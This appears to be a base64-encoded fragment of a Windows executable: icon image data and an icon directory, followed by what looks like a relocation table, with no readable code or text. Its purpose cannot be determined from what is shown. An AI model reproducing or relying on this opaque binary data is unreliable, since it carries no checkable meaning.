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w20DbUNtg23DbgNuQ2/DYANwQ3CDcMN2g3cDd0N3g3fDeAN4Q3iDeMN5A3lDeYN5w3oDekN6g3rDewOLQ4uDi8OAAAAPADADwAAADYMNww4DDMPdQ93D3kPew99D38PQQ+DD4UPhw+JD4sPjQ+PD5EPkw+VD5cPmQ+bD50PgAAAAAEALgAAAAINRA1GDUgNSg1MDU4NUA1SDVQNVg1YDVoNXA1eDWANYg1kDWYNaA1qDWwNbg1wDXINdA12DXgNeg18DX4NQA2CDYQNhg2IDYoNjA2ODZANkg2UDZYNmA2aDZwNng2gDaINpA2mDagNqg2sDa4NsA2yDbQNtg24DboNvA2+DYANwg3EDcYNyA3KDcwNzg3QDdIN1A3WDdgN2g3cDd4N4A3iDeQN5g3oDeoN7A3uDfANwAQBAAQAQAA0DHUMdgx3DHgMeQx6DHsMfAx9DH4MfwxADIEMggyDDIQMhQyGDIcMiAyJDIoMiwyMDI0MjgyPDJAMkQySDJMMlAyVDJYMlwyYDJkMmgybDJwMnQyeDJ8MoAyhDKIMowykDKUMpgynDKgMqQyqDKsMrAytDK4MrwywDLEMsgyzDLQMtQy2DLcMuAy5DLoMuwy8DL0Mvgy/DIAMwQzCDMMMxAzFDMYMxwzIDMkMygzLDMwMzQzODM8M0AzRDNIM0wzUDOAN4Q3iDeMN5A3lDeYN5w3oDekN6g3rDewN7Q3uDe8N8A3xDfIN8w30DfUN9g33DfgN+Q36DfsN/A39Df4N/w3ADgEOAg4ACAEADAAAAD0MPgw/DAAMXw9gD3wPvQ++D78PgA/BD8IPww/ED8UPxg/HD8gPwAAADAEAAwAAACcOaA5AIAEAJQAAAAANgQ2CDYMNhA2FDYYNhw2IDYkNig2LDYwNjQ2ODY8NkA2RDZINkw2UDZUNlg2XDZgNmQ2aDZsNnA2dDZ4Nnw2gDaENog2jDaQNpQ2mDacNqA2pDawNrQ2uDa8NsA2xDbINsw20DbUNtg23DbgNuQ26DbsNvA29Db4Nvw2ADcENwg3DDcQNxQ3GDcAAACgBAAQAQAAlDqYOqw6sDrAOsQ6zDrkOvQ6+DoIOww7EDsYOzA7QDtEO1Q7WDtcO2Q7fDuMO5A7oDukO6g7rDu0O8w73DvgO/A79Dv4OwA8GDwo